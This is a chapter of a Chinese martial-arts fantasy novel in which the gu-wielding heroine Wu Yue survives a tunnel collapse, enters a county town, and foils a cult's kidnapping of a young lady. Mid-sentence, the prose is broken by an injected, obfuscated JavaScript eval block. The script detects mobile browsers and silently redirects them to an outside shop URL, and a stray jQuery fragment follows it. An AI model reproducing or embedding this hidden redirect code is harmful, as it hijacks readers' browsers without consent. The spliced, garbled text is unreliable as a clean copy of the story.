巫月并没有跑出多远,绕了两圈后,就近在山崖下找了个山洞,抓紧时间调息。
这些人虽然没有真气,却训练有素、反应很快,不是村夫野匪那么简单,还是得尽快恢复真气才有胜算。
花了近半个时辰,体内真气刚有松动的迹象,巫月便听见不远处传来闷闷的爆炸声响,轰隆隆沿一条线响了很久,整个地表晃动不停,掉了她一身的灰土。
发生爆炸的地方,就在她逃出来的那个地道。
巫月一下站起来,脸色有点难看,她没怎么犹豫,起身往那个地方而去。
实际走出来的路线和记忆里的有点偏差,她又走回了那个院子跟前。房子已经彻底塌了,地面凹陷从屋后一直蔓延到树林,东倒西歪了很多树。
只是一会儿不见,这里已变成了一片废墟。
巫月沿凹陷一路检查,地下的通道被泥土完全填满,已经无法进入。
一直走到密林里,凹陷越来越浅,直到彻底消失。
她俯下身,将耳朵贴到地面,什么也听不见。
巫月蓄起真气往地上打了一拳,泥土只往下紧缩出一个脑袋大小的坑,下面的通道离地面太远,已经无法造成影响了。
看来要从这边挖下去了,不知道里面有没有塌方,还能不能通过,会不会被设置陷阱。
巫月往倒塌的院子走,她记得那里有锄头之类的工具。
翻找间,倒塌的房梁碎瓦下传出虚弱的呻吟声。巫月皱眉细听了一会儿,确定了位置的同时,猜测这个声音是来自那个三十岁左右的妇人,也就是李放的老婆。
花了点时间把压在上面的房梁瓦片土墙等等移开,那双眼睛已经开始涣散了,正定定地看着她,巫月搭了下那女人的脉,知道这人无力回天了,便转过身要继续去找锄头。
这时候,那妇人回光返照般,声音一下大了很多。
“县城……人在县城。”
巫月脚下一顿,回转身蹲下来:“被抓的人都会通过地道送到县城?具体在县城哪里?”
女人眼里的光更加黯淡了,似没听到巫月的话,喃喃道:“我丈夫……被杀了,我跑不掉,我…对不起,对不起他…婆婆,我、我报不了仇了……”
话音刚落,她眼里的神采便飞快褪去。
一番话听完,巫月已经有所猜测,她站起来,走到厨房位置,移开房梁等杂物,果然看见那个老婆婆倒在地上,眼睛紧闭,已经没了气息。
巫月沉默片刻,从废墟里翻出菜刀,刀光一闪,那捆在老太太身上、未来得及割断的绳索便悉数断开。
这地方经历过爆炸,动静太大,很快就会有人过来查看情况,得到了大致地点的巫月未再多作停留,她无声叹了口气,往县城方向全速前进。
-
自北威将军叛变,建立新朝为大夏皇朝后,前朝统治者相关的残余势力便回防到了易守难攻的西南雾隐地,因两边关系敌对,西南雾隐地的城防十分严格。
好在巫月要去的只是一个深山里的小县城。
巫月穿一身补丁旧衣,担着两筐新鲜野菌子,加入了等候入城的队伍。
太阳升起的时候,终于检查到她了。
“进城干什么的?”城防兵粗犷的声音里带着不耐烦。
巫月畏畏缩缩地从竹筐里拣出几朵又大又厚实、穿白色网格裙的菌子,笑着递给他,“军爷,我来出山货的,这菌子炖汤鲜亮,稀罕物,您带回去尝尝。”
城防兵不屑地啧一声:“什么破东西也能称上稀罕物了。”
他把那几朵菌子往身边的木框里一放,并没有就此结束检查。他掀开搭在竹筐上的树叶子,伸手往里掏了掏,确定里面只有菌子没有其他东西,这才挥挥手示意放行。
巫月担着两筐菌子进了城门,一边观察周围环境,一边思索着要怎么找人。
她对城里环境不熟悉,便远远儿跟着前面卖鸡蛋的大姐,打算先认认地儿,顺便把菌子卖了换钱吃顿热饭。
只是这卖鸡蛋的大姐不知道是怎么回事,带着她七拐八绕,丝毫没有要停下的意思。
巫月看看四周环境,发现行人越来越少,路越来越窄,她心知不对,停下脚步任那大姐消失在拐角处。
她转过身,从来时的方向往回走。
刚拐过一个岔路口,身后突然送来一阵柔柔的香风,与此同时,耳边落下一道声音:“怎么不继续跟了?”
巫月瞳孔瞬间放大,她立刻丢开扁担,旋身送出一拳一掌。
女人轻飘飘退后,伸手在前方一抹,巫月丢出的蛊虫便全掉在了地上,腿脚朝天毫无动静。
巫月完全没看出来对方的出手痕迹,而自己的真气和蛊虫就这么轻巧地被化解了。
这不是她能对付的人。
迅速得出结论,巫月当机立断,挥出一把蛊虫掩人耳目立刻逃跑。
那女人轻松解决掉蛊虫,立在原地没有去追,她抚抚眉梢,有些疑惑地喃喃自语:“是个新人……灵枢院名额十年前不是就满了么?”
“可惜,不是目标之一。”
女人挎着一篮子鸡蛋从相反方向离开了,这片街区又重归平静。
-
巫月并没有满大街乱蹿,跑出去一段路后便跃身进入了一处大院,穿行于院子里的隐蔽之处,而后避开人群,从另一边再跃入另一所大院。
如此反复之后,她躲进了一处偏僻别院的柴房,在那之前,顺手在厨房里摸了两个花馍。
没一会儿,两道声音由远及近,“……姑娘,您别担心了,小娅一打扮跟您能有七分像,不会被看出来的。”
偷溜出来玩的大户人家小姐?
巫月微微放松,咬了口馍,机械地咀嚼着,吃着吃着突然发现嘴里甜滋滋的,含了蜜一样,她心头一跳,连忙看了眼自己吃的是什么东西。
花瓣形状的馒头软乎乎的,中间藏着馅儿,馅料红褐色质感绵密,有些许桂花香气。
确定没有问题,巫月不由赞叹:真是巧思啊。
一主一仆走到隔壁的厨房:“知道小姐要来,我特意做了些吃食,您稍待……”
仆妇让小姐在厨房外稍待,自己走进去,要把提前准备好的吃食装进餐盒带到正厅去吃。
仆妇打开橱柜一看就哎哟一声,“这该死的耗子!”
她连忙走出厨房,“小姐,这院子久未住人,闹了耗子了,东西是不能再吃了,您先回房里歇着,我上外头买去。”
细弱惶恐的声音急急道:“阿嬷我不饿,你别去。”
仆妇耐心哄着:“小姐别怕,这是县令大人家的外宅,他们找不过来,屋子里还有暗道直通衙门,很安全的,来,我带您过去……”两人脚步声渐远。
还有地道?巫月一下警觉。
她三两下把手里的花馍吃完,琢磨着主仆两人的对话,觉得事情不大对劲。
这位小姐显然是被什么组织给盯上了,只能祈求官府的庇护。
可就她们一主一仆两个人住在这偏僻的院子里,只要露了行踪,不是会更危险么。那仆妇脚步沉重,显然没有丝毫武艺在身,关键时候能提供的帮助十分有限,便是有地道直通衙门,能不能跑过去还两说。
还有那个地道,谁知道还通不通其他地方。
原本打算吃饱了直接离开的巫月沉吟片刻,轻手轻脚从柴房出来,悄无声息潜入了那位小姐隔壁的房间。
仆妇声音柔和地劝了好一阵儿,那位小姐的情绪才缓和了些,让她快去快回。
巫月回忆起厨房里的物品,确实只有一餐的用量,再需要就得出去采买。这是确认一天之内就能把事情彻底解决?
看来这位小姐家里跟官府做了一定布置,要以那位小娅为饵,抓住那群心怀不轨的人。
只是不知那群人跟抓走乾枫的是不是类属同一个组织,若是同一个,官府想要一网打尽恐怕相当困难。
巫月放出部分蛊虫,引导它们潜入隔壁房间,耐心等待起来。
仆妇很快回来,她仔细别了门,把餐盒放到桌子上,这才小声喊道:“小姐,是我,我回来了,快出来吃口东西吧。”
衣柜门被推开,那位小姐的声音听起来快要哭了:“阿嬷……”
仆妇劝那位小姐吃东西,一阵压抑的呜咽
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17790969|210274||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
声后,隔壁安静了下来,只有仆妇时不时劝饭的声音。
这时沉闷的咔咔声从床下响起,两个屋子里的三个人精神都为之一震。
砰的一声,床板连带着上面的东西,被一脚掀开,两个黑衣人从地道内腾跃而出,一人穿紧身衣裤,另一人外披带兜帽的长袍。
一时间,碗碟掉落地面的清脆破裂声,那位小姐的惊恐呼喊声,仆妇的愤怒惊慌的声音一齐响作一团。
巫月揉揉耳朵,等蛊虫就位后,她立刻冲出房间,一脚踹开隔壁房门,手提菜刀攻向那两个黑衣人。
这两人都是练家子,所幸功力不高,巫月配合着蛊虫迅速将人拿下。
巫月击昏其中一人,一边指挥仆妇去拿绳子,一边审问另一个意志不够坚定、已经怕得脸色发白的人:“为何要抓这位小姐?”
那人看着紧紧抵在脖颈上的菜刀,浑身僵直冷汗直冒:“与、与我无关,是上头的意思。山、山神大人指了她当这个月的新娘,她家里不愿,上、上面就命我等来抓……”
这个月的新娘?好个装神弄鬼的恶人。
巫月这才把视线投向那位小姐,目光随即一滞。
她长得实在好看,眉目娇柔我见犹怜,整个人似春日的新柳,娇嫩纤细柔弱之中,却带着极其温柔的生机与灵动,气质清新如空山新雨后,双眸温柔澄澈恰似一泓秋水,眉心一蹙便叫人心生无限怜爱。
此刻略显狼狈,然而美玉微瑕的样子却抹去了那分高不可攀之感,不仅不会叫人自惭形秽,反而让人更想靠近。
巫月回过神移开视线,她眉头一皱,刀锋不自觉就沉了沉,逼出一条血线。
那人吓得僵着脖子慌忙喊:“别杀我别杀我,我也是被他们抓进去的,想活命才不得已听令,你随便问我什么都说求求别杀我……”
巫月避开滚落的腥臊热流,站到他侧后方,“大脚镇那个方向,这两天是不是送了一批人过来?关到哪里了?”
男人愣了一下,在巫月渐冷的目光中连忙道:“对对,我想起来了,是有一个男人,昨晚上才送到总坛的,听说那边跑了个高手,点子已经废了……跑的那个人,是,是你?”
巫月并不回答,接着问道:“总坛在哪里,人都关在哪了,都有哪些高手?你们手里那些能封锁真气,让人无声无息中招的毒是什么,如何应对,有无解药?”
“总坛在地下,我也不知道在哪儿,我才进来两个月……”见巫月眼神一厉,他连忙道,“我想起来了,我想起来了,可以走地道直达……”
交代完地图,他又小心地补充一句:“我没去过总坛,我不知道那里的口令,也不知道他们会把人关在哪、有多少高手……”
“您说的那个应该是山神大人赐下的圣药,种类很多,功能复杂,需要提前布置,一旦布置成功,再辅以相应的仪式,便全然无解……额!不过,不过我被抓的时候没有像其他人那样昏过去,我是装的,我那天吃了两斤大蒜……”
由那位小姐又提了几个问题后,再得不到有用的情报了,巫月用刀把将人砸晕。
两斤大蒜……难道我要吃完两斤大蒜再行动?巫月有些犯难。
“那个……”柔弱好听的声音迟疑着响起,“这位女侠,您需要大蒜的话,我们可以帮您去买……”
这位宋家小姐已经略略恢复了镇定,眼中带着几分崇敬和信赖地看着巫月。
“……”巫月不习惯被人这样注视,移开视线道,“不必了,厨房里的够用了。既然去官府没有危险,你们便先去官府报案吧。”
宋家小姐轻轻唤了声:“阿嬷。”
那中年妇人点点头走上前,取出一只荷包和一份名帖递给巫月,宋小姐适时道:“女侠大义无以为报,一些身外之物莫要嫌弃。这份名帖望您收下,哪日有空过府,愿奉上但我所有。”
挣扎了下,巫月还是收下了,她确实缺钱得很。
目送一主一仆进入地道,确无异常后,巫月匆匆去厨房取了两头大蒜,又给两个昏迷的家伙补点了穴道后,她把从头晕到尾那人的外袍扒下来披上,便下了地道,走上与那对主仆相反的方向。